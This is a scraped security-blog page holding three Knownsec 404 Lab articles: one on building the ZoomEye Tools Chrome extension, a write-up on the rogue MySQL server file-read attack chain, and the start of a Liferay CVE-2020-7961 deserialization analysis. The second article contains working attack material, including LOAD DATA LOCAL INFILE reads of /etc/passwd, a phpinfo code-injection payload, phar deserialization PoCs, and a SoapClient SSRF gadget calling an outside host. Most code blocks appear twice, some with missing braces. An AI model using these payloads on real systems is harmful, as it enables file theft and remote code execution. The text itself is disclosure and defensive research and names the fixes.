从 0 开始入门 Chrome Ext 安全（番外篇） — ZoomEye Tools

2020-07-31

作者：LoRexxar@知道创宇404实验室
时间：2020年01月17日
英文版本: https://paper.seebug.org/1116/
系列文章：
1.《从 0 开始入门 Chrome Ext 安全（一） -- 了解一个 Chrome Ext》
2.《从 0 开始入门 Chrome Ext 安全（二） -- 安全的 Chrome Ext》

在经历了两次对Chrome Ext安全的深入研究之后，这期我们先把Chrome插件安全的问题放下来，这期我们讲一个关于Chrome Ext的番外篇 -- Zoomeye Tools.

链接为：https://chrome.google.com/webstore/detail/zoomeyetools/bdoaeiibkccgkbjbmmmoemghacnkbklj

这篇文章让我们换一个角度，从开发一个插件开始，如何去审视chrome不同层级之间的问题。

这里我们主要的目的是完成一个ZoomEye的辅助插件。

核心与功能设计

在ZoomEye Tools中，我们主要加入了一下针对ZoomEye的辅助性功能，在设计ZoomEye Tools之前，首先我们需要思考我们需要什么样的功能。

这里我们需要需要实现的是两个大功能，

1、首先需要完成一个简易版本的ZoomEye界面，用于显示当前域对应ip的搜索结果。
2、我们会完成一些ZoomEye的辅助小功能，比如说一键复制搜索结果的左右ip等...

这里我们分别研究这两个功能所需要的部分：

ZoomEye minitools

关于ZoomEye的一些辅助小功能，这里我们首先拿一个需求来举例子，我们需要一个能够复制ZoomEye页面内所有ip的功能，能便于方便的写脚本或者复制出来使用。

在开始之前，我们首先得明确chrome插件中不同层级之间的权限体系和通信方式：

在第一篇文章中我曾着重讲过这部分内容。

从0开始入门Chrome Ext安全（一） -- 了解一个Chrome Ext

我们需要完成的这个功能，可以简单量化为下面的流程：

用户点击浏览器插件的功能
--&gt;
浏览器插件读取当前Zoomeye页面的内容
--&gt;
解析其中内容并提取其中的内容并按照格式写入剪切板中

用户点击浏览器插件的功能

-->

浏览器插件读取当前Zoomeye页面的内容

-->

解析其中内容并提取其中的内容并按照格式写入剪切板中

当然这是人类的思维，结合chrome插件的权限体系和通信方式，我们需要把每一部分拆解为相应的解决方案。

用户点击浏览器插件的功能

当用户点击浏览器插件的图标时，将会展示popup.html中的功能，并执行页面中相应加的js代码。

浏览器插件读取当前ZoomEye页面的内容

由于popup script没有权限读取页面内容，所以这里我们必须通过chrome.tabs.sendMessage来沟通content script，通过content script来读取页面内容。

解析其中内容并提取其中的内容并按照格式写入剪切板中

在content script读取到页面内容之后，需要通过sendResponse反馈数据。

当popup收到数据之后，我们需要通过特殊的技巧把数据写入剪切板

 function copytext(text){
    var w = document.createElement('textarea');
    w.value = text;
    document.body.appendChild(w);
    w.select();


    document.execCommand('Copy');

    w.style.display = 'none';
    return;
}

function copytext(text){

var w = document.createElement('textarea');

w.value = text;

document.body.appendChild(w);

w.select();

document.execCommand('Copy');

w.style.display = 'none';

return;

}

这里我们是通过新建了textarea标签并选中其内容，然后触发copy指令来完成。

整体流程大致如下

ZoomEye preview

与minitools的功能不同，要完成ZoomEye preview首先我们遇到的第一个问题是ZoomEye本身的鉴权体系。

在ZoomEye的设计中，大部分的搜索结果都需要登录之后使用，而且其相应的多种请求api都是通过jwt来做验证。

而这个jwt token会在登陆期间内储存在浏览器的local storage中。

我们可以简单的把架构画成这个样子

在继续设计代码逻辑之前，我们首先必须确定逻辑流程，我们仍然把流程量化为下面的步骤：

用户点击ZoomEye tools插件
--&gt;
插件检查数据之后确认未登录，返回需要登录
--&gt;
用户点击按钮跳转登录界面登录
--&gt;
插件获取凭证之后储存
--&gt;
用户打开网站之后点击插件
--&gt;
插件通过凭据以及请求的host来获取ZoomEye数据
--&gt;
将部分数据反馈到页面中

用户点击ZoomEye tools插件

-->

插件检查数据之后确认未登录，返回需要登录

-->

用户点击按钮跳转登录界面登录

-->

插件获取凭证之后储存

-->

用户打开网站之后点击插件

-->

插件通过凭据以及请求的host来获取ZoomEye数据

-->

将部分数据反馈到页面中

紧接着我们配合chrome插件体系的逻辑，把前面步骤转化为程序逻辑流程。

用户点击ZoomEye tools插件

插件将会加载popup.html页面并执行相应的js代码。

插件检查数据之后确认未登录，返回需要登录

插件将获取储存在chrome.storage的Zoomeye token，然后请求ZoomEye.org/user判断登录凭据是否有效。如果无效，则会在popup.html显示need login。并隐藏其他的div窗口。

用户点击按钮跳转登录界面登录

当用户点击按钮之后，浏览器会直接打开 https://sso.telnet404.com/cas/login?service=https%3A%2F%2Fwww.zoomeye.org%2Flogin

如果浏览器当前在登录状态时，则会跳转回ZoomEye并将相应的数据写到localStorage里。

插件获取凭证之后储存

由于前后端的操作分离，所有bg script需要一个明显的标志来提示需要获取浏览器前端的登录凭证，我把这个标识为定为了当tab变化时，域属于ZoomEye.org且未登录时，这时候bg script会使用chrome.tabs.executeScript来使前端完成获取localStorage并储存进chrome.storage.

这样一来，插件就拿到了最关键的jwt token

用户打开网站之后点击插件

在完成了登录问题之后，用户就可以正常使用preview功能了。

当用户打开网站之后，为了减少数据加载的等待时间，bg script会直接开始获取数据。

插件通过凭据以及请求的host来获取ZoomEye数据

后端bg script 通过判断tab状态变化，来启发获取数据的事件，插件会通过前面获得的账号凭据来请求

https://www.zoomeye.org/searchDetail?type=host&title= 并解析json，来获取相应的ip数据。

将部分数据反馈到页面中

当用户点击插件时，popup script会检查当前tab的url和后端全局变量中的数据是否一致，然后通过

bg = chrome.extension.getBackgroundPage();

1	bg = chrome.extension.getBackgroundPage();

来获取到bg的全局变量。然后将数据写入页面中。

整个流程的架构如下：

完成插件

在完成架构设计之后，我们只要遵守好插件不同层级之间的各种权限体系，就可以完成基础的设计，配合我们的功能，我们生成的manifest.json如下

{
    "name": "Zoomeye Tools",
    "version": "0.1.0",
    "manifest_version": 2,
    "description": "Zoomeye Tools provides a variety of functions to assist the use of Zoomeye, including a proview host and many other functions",
    "icons": {
        "16": "img/16_16.png",
        "48": "img/48_48.png",
        "128": "img/128_128.png"
    },
    "background": {
        "scripts": ["/js/jquery-3.4.1.js", "js/background.js"]
    },
    "content_scripts": [
        {
            "matches": ["*://*.zoomeye.org/*"],
            "js": ["js/contentScript.js"],
            "run_at": "document_end"
        }
     ],
    "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';",
    "browser_action": {
        "default_icon": {
            "19": "img/19_19.png",
            "38": "img/38_38.png"
        },
        "default_title": "Zoomeye Tools",
        "default_popup": "html/popup.html"
    },
    "permissions": [
        "clipboardWrite",
        "tabs",
        "storage",
        "activeTab",
        "https://api.zoomeye.org/",
        "https://*.zoomeye.org/"
    ]
}

{

"name": "Zoomeye Tools",

"version": "0.1.0",

"manifest_version": 2,

"description": "Zoomeye Tools provides a variety of functions to assist the use of Zoomeye, including a proview host and many other functions",

"icons": {

"16": "img/16_16.png",

"48": "img/48_48.png",

"128": "img/128_128.png"

"background": {

"scripts": ["/js/jquery-3.4.1.js", "js/background.js"]

"content_scripts": [

{

"matches": ["*://*.zoomeye.org/*"],

"js": ["js/contentScript.js"],

"run_at": "document_end"

}

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';",

"browser_action": {

"default_icon": {

"19": "img/19_19.png",

"38": "img/38_38.png"

"default_title": "Zoomeye Tools",

"default_popup": "html/popup.html"

"permissions": [

"clipboardWrite",

"tabs",

"storage",

"activeTab",

"https://api.zoomeye.org/",

"https://*.zoomeye.org/"

]

}

上传插件到chrome store

在chrome的某一个版本之后，chrome就不再允许自签名的插件安装了，如果想要在chrome上安装，那就必须花费5美金注册为chrome插件开发者。

并且对于chrome来说，他有一套自己的安全体系，如果你得插件作用于多个域名下，那么他会在审核插件之前加入额外的审核，如果想要快速提交自己的插件，那么你就必须遵守chrome的规则。

你可以在chrome的开发者信息中心完成这些。

Zoomeye Tools 使用全解

安装

chromium系的所有浏览器都可以直接下载

https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj

初次安装完成时应该为

使用方法

由于Zoomeye Tools提供了两个功能，一个是Zoomeye辅助工具，一个是Zoomeye preview.

zoomeye 辅助工具

首先第一个功能是配合Zoomeye的，只会在Zoomeye域下生效，这个功能不需要登录zoomeye。

当我们打开Zoomeye之后搜索任意banner，等待页面加载完成后，再点击右上角的插件图标，就能看到多出来的两条选项。

如果我们选择copy all ip with LF，那么剪切板就是

23.225.23.22:8883
23.225.23.19:8883
23.225.23.20:8883
149.11.28.76:10443
149.56.86.123:10443
149.56.86.125:10443
149.233.171.202:10443
149.11.28.75:10443
149.202.168.81:10443
149.56.86.116:10443
149.129.113.51:10443
149.129.104.246:10443
149.11.28.74:10443
149.210.159.238:10443
149.56.86.113:10443
149.56.86.114:10443
149.56.86.122:10443
149.100.174.228:10443
149.62.147.11:10443
149.11.130.74:10443

23.225.23.22:8883

23.225.23.19:8883

23.225.23.20:8883

149.11.28.76:10443

149.56.86.123:10443

149.56.86.125:10443

149.233.171.202:10443

149.11.28.75:10443

149.202.168.81:10443

149.56.86.116:10443

149.129.113.51:10443

149.129.104.246:10443

149.11.28.74:10443

149.210.159.238:10443

149.56.86.113:10443

149.56.86.114:10443

149.56.86.122:10443

149.100.174.228:10443

149.62.147.11:10443

149.11.130.74:10443

如果我们选择copy all url with port

'23.225.23.22:8883','23.225.23.19:8883','23.225.23.20:8883','149.11.28.76:10443','149.56.86.123:10443','149.56.86.125:10443','149.233.171.202:10443','149.11.28.75:10443','149.202.168.81:10443','149.56.86.116:10443','149.129.113.51:10443','149.129.104.246:10443','149.11.28.74:10443','149.210.159.238:10443','149.56.86.113:10443','149.56.86.114:10443','149.56.86.122:10443','149.100.174.228:10443','149.62.147.11:10443','149.11.130.74:10443'

'23.225.23.22:8883','23.225.23.19:8883','23.225.23.20:8883','149.11.28.76:10443','149.56.86.123:10443','149.56.86.125:10443','149.233.171.202:10443','149.11.28.75:10443','149.202.168.81:10443','149.56.86.116:10443','149.129.113.51:10443','149.129.104.246:10443','149.11.28.74:10443','149.210.159.238:10443','149.56.86.113:10443','149.56.86.114:10443','149.56.86.122:10443','149.100.174.228:10443','149.62.147.11:10443','149.11.130.74:10443'

Zoomeye Preview

第二个功能是一个简易版本的Zoomeye，这个功能需要登录Zoomeye。

在任意域我们点击右上角的Login Zoomeye，如果你之前登陆过Zoomeye那么会直接自动登录，如果没有登录，则需要在telnet404页面登录。登录完成后等待一会儿就可以加载完成。

在访问网页时，点击右上角的插件图标，我们就能看到相关ip的信息以及开放端口

写在最后

最后我们上传chrome开发者中心之后只要等待审核通过就可以发布出去了。

最终chrome插件下载链接：

Zoomeye Tools下载链接

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1115/

作者：叶霖杨 | Categories:安全研究 | Tags: web安全、辅助插件

没有评论

CSS-T | Mysql Client 任意文件读取攻击链拓展

2020-07-31

作者：LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
英文版本：https://paper.seebug.org/1113/

这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

在后来的研究中，和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick，在逐渐追溯这个漏洞的过去的过程中，我渐渐发现这个问题作为mysql的一份feature存在了很多年，从13年就有人分享这个问题。

在围绕这个漏洞的挖掘过程中，我们不断地发现新的利用方式，所以将其中大部分的发现都总结并准备了议题在CSS上分享，下面让我们来一步步分析。

Load data infile

load data infile是一个很特别的语法，熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉，在CTF中，我们经常能遇到没办法load_file读取文件的情况，这时候唯一有可能读到文件的就是load data infile，一般我们常用的语句是这样的：

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

1	load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

mysql server会读取服务端的/etc/passwd然后将数据按照'\n'分割插入表中，但现在这个语句同样要求你有FILE权限，以及非local加载的语句也受到secure_file_priv的限制

mysql&gt; load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

如果我们修改一下语句，加入一个关键字local。

mysql&gt; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11  Deleted: 0  Skipped: 0  Warnings: 11

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

Query OK, 11 rows affected, 11 warnings (0.01 sec)

Records: 11 Deleted: 0 Skipped: 0 Warnings: 11

加了local之后，这个语句就成了，读取客户端的文件发送到服务端，上面那个语句执行结果如下

很显然，这个语句是不安全的，在mysql的文档里也充分说明了这一点

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文档中的说到，服务端可以要求客户端读取有可读权限的任何文件。

mysql认为客户端不应该连接到不可信的服务端。

我们今天的这个问题，就是围绕这个基础展开的。

构造恶意服务端

在思考明白了前面的问题之后，核心问题就成了，我们怎么构造一个恶意的mysql服务端。

在搞清楚这个问题之前，我们需要研究一下mysql正常执行链接和查询的数据包结构。

1、greeting包，服务端返回了banner，其中包含mysql的版本

2、客户端登录请求

3、然后是初始化查询，这里因为是phpmyadmin所以初始化查询比较多

4、load file local

由于我的环境在windows下，所以这里读取为C:/Windows/win.ini，语句如下

load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';

1	load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';

首先是客户端发送查询

然后服务端返回了需要的路径

然后客户端直接把内容发送到了服务端

看起来流程非常清楚，而且客户端读取文件的路径并不是从客户端指定的，而是发送到服务端，服务端制定的。

原本的查询流程为

客户端：我要把win.ini插入test表中
服务端：我要你的win.ini内容
客户端：win.ini的内容如下....

客户端：我要把win.ini插入test表中

服务端：我要你的win.ini内容

客户端：win.ini的内容如下....

假设服务端由我们控制，把一个正常的流程篡改成如下

客户端：我要test表中的数据
服务端：我要你的win.ini内容
客户端：win.ini的内容如下???

客户端：我要test表中的数据

服务端：我要你的win.ini内容

客户端：win.ini的内容如下???

上面的第三句究竟会不会执行呢？

让我们回到mysql的文档中，文档中有这么一句话：

服务端可以在任何查询语句后回复文件传输请求，也就是说我们的想法是成立的

在深入研究漏洞的过程中，不难发现这个漏洞是否成立在于Mysql client端的配置问题，而经过一番研究，我发现在mysql登录验证的过程中，会发送客户端的配置。

在greeting包之后，客户端就会链接并试图登录，同时数据包中就有关于是否允许使用load data local的配置，可以从这里直白的看出来客户端是否存在这个问题（这里返回的客户端配置不一定是准确的，后面会提到这个问题）。

poc

在想明白原理之后，构建恶意服务端就变得不那么难了，流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包

这里主要是构造包格式的问题，可以跟着原文以及各种文档完成上述的几次查询.

值得注意的是，原作者给出的poc并没有适配所有的情况，部分mysql客户端会在登陆成功之后发送ping包，如果没有回复就会断开连接。也有部分mysql client端对greeting包有较强的校验，建议直接抓包按照真实包内容来构造。

原作者给出的poc

https://github.com/Gifts/Rogue-MySql-Server

演示

这里用了一台腾讯云做服务端，客户端使用phpmyadmin连接

我们成功读取了文件。

影响范围

底层应用

在这个漏洞到底有什么影响的时候，我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。

mysql client (pwned)
php mysqli (pwned，fixed by 7.3.4)
php pdo (默认禁用)
python MySQLdb (pwned)
python mysqlclient (pwned)
java JDBC Driver (pwned，部分条件下默认禁用)
navicat （pwned)

探针

在深入挖掘这个漏洞的过程中，第一时间想到的利用方式就是mysql探针，但可惜的是，在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了，没有任何查询，尽职尽责。

雅黑PHP探针失败
iprober2 探针失败
PHP探针 for LNMP一键安装包失败
UPUPW PHP 探针失败
...

云服务商云数据库数据迁移服务

以上漏洞均在2018年报送官方并遵守漏洞纰漏原则

国内

腾讯云 DTS 失败，禁用Load data local
阿里云 RDS 数据迁移失败，禁用Load data local
华为云 RDS DRS服务成功

京东云 RDS不支持远程迁移功能，分布式关系数据库未开放
UCloud RDS不支持远程迁移功能，分布式关系数据库不能对外数据同步
QiNiu云 RDS不支持远程迁移功能
新睿云 RDS不支持远程迁移功能
网易云 RDS 外部实例迁移成功

金山云 RDS DTS数据迁移成功

青云Cloud RDS 数据导入失败，禁用load data local
百度Cloud RDS DTS 成功

国际云服务商

Google could SQL数据库迁移失败，禁用Load data infile
AWS RDS DMS服务成功

Excel online sql查询

之前的一篇文章中提到过，在Excel中一般有这样一个功能，从数据库中同步数据到表格内，这样一来就可以通过上述方式读取文件。

受到这个思路的启发，我们想到可以找online的excel的这个功能，这样就可以实现任意文件读取了。

WPS failed（没找到这个功能）
Microsoft excel failed（禁用了infile语句）
Google 表格（原生没有这个功能，但却支持插件，下面主要说插件）
- Supermetrics pwned

- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned

- Advanced CFO Solutions MySQL Query failed

- SeekWell failed

- Skyvia Query Gallery failed

- database Borwser failed

- Kloudio pwned

拓展？2RCE！

抛开我们前面提的一些很特殊的场景下，我们也要讨论一些这个漏洞在通用场景下的利用攻击链。

既然是围绕任意文件读取来讨论，那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。

任意文件读 with 配置文件泄露

在Discuz x3.4的配置中存在这样两个文件

config/config_ucenter.php
config/config_global.php

1 2	config/config_ucenter.php config/config_global.php

在dz的后台，有一个ucenter的设置功能，这个功能中提供了ucenter的数据库服务器配置功能，通过配置数据库链接恶意服务器，可以实现任意文件读取获取配置信息。

配置ucenter的访问地址。

原地址： http://localhost:8086/upload/uc_server
修改为： http://localhost:8086/upload/uc_server\');phpinfo();//

1 2	原地址： http://localhost:8086/upload/uc_server 修改为： http://localhost:8086/upload/uc_server\');phpinfo();//

当我们获得了authkey之后，我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY来访问即可生效

任意文件读 to 反序列化

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题，原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。

在该议题中提到，在PHP中存在一个叫做Stream API，通过注册拓展可以注册相应的伪协议，而phar这个拓展就注册了phar://这个stream wrapper。

在我们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示，所有的文件函数都支持stream wrapper。

深入到函数中，我们可以发现，可以支持steam wrapper的原因是调用了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

1	stream = php_stream_open_wrapper_ex(filename, "rb" ....);

从这里，我们再回到mysql的load file local语句中，在mysqli中，mysql的读文件是通过php的函数实现的

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52

if (PG(open_basedir)) {
        if (php_check_open_basedir_ex(filename, 0) == -1) {
            strcpy(info-&gt;error_msg, "open_basedir restriction in effect. Unable to open file");
            info-&gt;error_no = CR_UNKNOWN_ERROR;
            DBG_RETURN(1);
        }
    }

    info-&gt;filename = filename;
    info-&gt;fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52

if (PG(open_basedir)) {

if (php_check_open_basedir_ex(filename, 0) == -1) {

strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");

info->error_no = CR_UNKNOWN_ERROR;

DBG_RETURN(1);

}

info->filename = filename;

info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

也同样调用了php_stream_open_wrapper_ex函数，也就是说，我们同样可以通过读取phar文件来触发反序列化。

复现

首先需要一个生成一个phar

pphar.php

&lt;?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}


@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar-&gt;startBuffering();
$phar-&gt;setStub("GIF89a "."&lt;?php __HALT_COMPILER(); ?&gt;"); //设置stub
$o = new A();
$phar-&gt;setMetadata($o); //将自定义的meta-data存入manifest
$phar-&gt;addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar-&gt;stopBuffering();
?&gt;

pphar.php

<?php

class A {

public $s = '';

public function __wakeup () {

echo "pwned!!";

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new A();

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

使用该文件生成一个phar.phar

然后我们模拟一次查询

test.php

&lt;?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}


$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');

// file_get_contents('phar://./phar.phar');

test.php

<?php

class A {

public $s = '';

public function __wakeup () {

echo "pwned!!";

}

$m = mysqli_init();

mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);

$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);

$p = mysqli_query($m, 'select 1;');

// file_get_contents('phar://./phar.phar');

图中我们只做了select 1查询，但我们伪造的evil mysql server中驱使mysql client去做load file local查询，读取了本地的

phar://./phar.phar

1	phar://./phar.phar

成功触发反序列化

反序列化 to RCE

当一个反序列化漏洞出现的时候，我们就需要从源代码中去寻找合适的pop链，建立在pop链的利用基础上，我们可以进一步的扩大反序列化漏洞的危害。

php序列化中常见的魔术方法有以下 - 当对象被创建的时候调用：construct - 当对象被销毁的时候调用：destruct - 当对象被当作一个字符串使用时候调用：toString - 序列化对象之前就调用此方法(其返回需要是一个数组)：sleep - 反序列化恢复对象之前就调用此方法：wakeup - 当调用对象中不存在的方法会自动调用此方法：call

配合与之相应的pop链，我们就可以把反序列化转化为RCE。

dedecms 后台反序列化漏洞 to SSRF

dedecms 后台，模块管理，安装UCenter模块。开始配置

首先需要找一个确定的UCenter服务端，可以通过找一个dz的站来做服务端。

然后就会触发任意文件读取，当然，如果读取文件为phar，则会触发反序列化。

我们需要先生成相应的phar

&lt;?php

class Control
{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=&gt;'http://example.com:5555', 'location'=&gt;'http://example.com:5555/aaa'));
    public $dsql;

    function __construct(){
        $this-&gt;dsql = new SoapClient(null,array('uri'=&gt;'http://xxxx:5555', 'location'=&gt;'http://xxxx:5555/aaa'));
    }

    function __destruct() {
        unset($this-&gt;tpl);
        $this-&gt;dsql-&gt;Close(TRUE);
    }
}

@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar-&gt;startBuffering();
$phar-&gt;setStub("GIF89a"."&lt;?php __HALT_COMPILER(); ?&gt;"); //设置stub，增加gif文件头
$o = new Control();
$phar-&gt;setMetadata($o); //将自定义meta-data存入manifest
$phar-&gt;addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar-&gt;stopBuffering();

?&gt;

<?php

class Control

{

var $tpl;

// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));

public $dsql;

function __construct(){

$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));

}

function __destruct() {

unset($this->tpl);

$this->dsql->Close(TRUE);

}

@unlink("dedecms.phar");

$phar = new Phar("dedecms.phar");

$phar->startBuffering();

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头

$o = new Control();

$phar->setMetadata($o); //将自定义meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

然后我们可以直接通过前台上传头像来传文件，或者直接后台也有文件上传接口，然后将rogue mysql server来读取这个文件

phar://./dedecms.phar/test.txt

1	phar://./dedecms.phar/test.txt

监听5555可以收到

ssrf进一步可以攻击redis等拓展攻击面，就不多说了。

部分CMS测试结果

CMS名	影响版本	是否存在mysql任意文件读取	是否有可控的MySQL服务器设置	是否有可控的反序列化	是否可上传phar	补丁
phpmyadmin	< 4.8.5	是	是	是	是	补丁
Dz	未修复	是	是	否	None	None
drupal	None	否(使用PDO)	否(安装)	是	是	None
dedecms	None	是	是(ucenter)	是(ssrf)	是	None
ecshop	None	是	是	否	是	None
禅道	None	否(PDO)	否	None	None	None
phpcms	None	是	是	是(ssrf)	是	None
帝国cms	None	是	是	否	None	None
phpwind	None	否(PDO)	是	None	None	None
mediawiki	None	是	否（后台没有修改mysql配置的方法）	是	是	None
Z-Blog	None	是	否（后台没有修改mysql配置的方法）	是	是	None

修复方式

对于大多数mysql的客户端来说，load file local是一个无用的语句，他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说，可以直接关闭这个功能，并不会影响到正常的使用。

具体的关闭方式见文档 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

对于不同服务端来说，这个配置都有不同的关法，对于JDBC来说，这个配置叫做allowLoadLocalInfile

https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html

在php的mysqli和mysql两种链接方式中，底层代码直接决定了这个配置。

这个配置是PHP_INI_SYSTEM，在php的文档中，这个配置意味着Entry can be set in php.ini or httpd.conf。

所以只有在php.ini中修改mysqli.allow_local_infile = Off就可以修复了。

在php7.3.4的更新中，mysqli中这个配置也被默认修改为关闭

https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5

可惜在不再更新的旧版本mysql5.6中，无论是mysql还是mysqli默认都为开启状态。

现在的代码中也可以通过mysqli_option，在链接前配置这个选项。

http://php.net/manual/zh/mysqli.options.php

比较有趣的是，通过这种方式修复，虽然禁用了allow_local_infile，但是如果使用wireshark抓包却发现allow_local_infile仍是启动的（但是无效）。

在旧版本的phpmyadmin中，先执行了mysqli_real_connect，然后设置mysql_option，这样一来allow_local_infile实际上被禁用了，但是在发起链接请求时中allow_local_infile还没有被禁用。

实际上是因为mysqli_real_connect在执行的时候，会初始化allow_local_infile。在php代码底层mysqli_real_connect实际是执行了mysqli_common_connect。而在mysqli_common_connect的代码中，设置了一次allow_local_infile。

https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251

如果在mysqli_real_connect之前设置mysql_option，其allow_local_infile的配置会被覆盖重写，其修改就会无效。

phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f

说在最后

这是一个针对mysql feature的攻击模式，思路非常有趣，就目前而言在mysql层面没法修复，只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛，但可能针对一些特殊场景的时候，可以特别有效的将一个正常的功能转化为任意文件读取，在拓展攻击面上非常的有效。

详细的攻击场景这里就不做假设了，危害还是比较大的。

REF

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1112/

作者：叶霖杨 | Categories:技术分享 | Tags: 漏洞分析

没有评论

Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)

2020-07-31

作者：Longofo@知道创宇404实验室
时间：2020年3月27日
英文版本：https://paper.seebug.org/1163/

之前在CODE WHITE上发布了一篇关于Liferay Portal JSON Web Service RCE的漏洞，之前是小伙伴在处理这个漏洞，后面自己也去看了。Liferay Portal对于JSON Web Service的处理，在6.1、6.2版本中使用的是 Flexjson库，在7版本之后换成了Jodd Json。

总结起来该漏洞就是：Liferay Portal提供了Json Web Service服务，对于某些可以调用的端点，如果某个方法提供的是Object参数类型，那么就能够构造符合Java Beans的可利用恶意类，传递构造好的json反序列化串，Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题，感觉还挺有意思，作者文中那张向上查找图，想着idea也没提供这样方便的功能，应该是自己实现的查找工具，文中分析下Liferay使用JODD反序列化的情况。

JODD序列化与反序列化

参考官方使用手册，先看下JODD的直接序列化与反序列化：

TestObject.java

package com.longofo;

import java.util.HashMap;

public class TestObject {
    private String name;
    private Object object;
    private HashMap&lt;String, String&gt; hashMap;

    public TestObject() {
        System.out.println("TestObject default constractor call");
    }

    public String getName() {
        System.out.println("TestObject getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("TestObject setName call");
        this.name = name;
    }

    public Object getObject() {
        System.out.println("TestObject getObject call");
        return object;
    }

    public void setObject(Object object) {
        System.out.println("TestObject setObject call");
        this.object = object;
    }

    public HashMap&lt;String, String&gt; getHashMap() {
        System.out.println("TestObject getHashMap call");
        return hashMap;
    }

    public void setHashMap(HashMap&lt;String, String&gt; hashMap) {
        System.out.println("TestObject setHashMap call");
        this.hashMap = hashMap;
    }

    @Override
    public String toString() {
        return "TestObject{" +
                "name='" + name + '\'' +
                ", object=" + object +
                ", hashMap=" + hashMap +
                '}';
    }
}

package com.longofo;

import java.util.HashMap;

public class TestObject {

private String name;

private Object object;

private HashMap<String, String> hashMap;

public TestObject() {

System.out.println("TestObject default constractor call");

}

public String getName() {

System.out.println("TestObject getName call");

return name;

}

public void setName(String name) {

System.out.println("TestObject setName call");

this.name = name;

}

public Object getObject() {

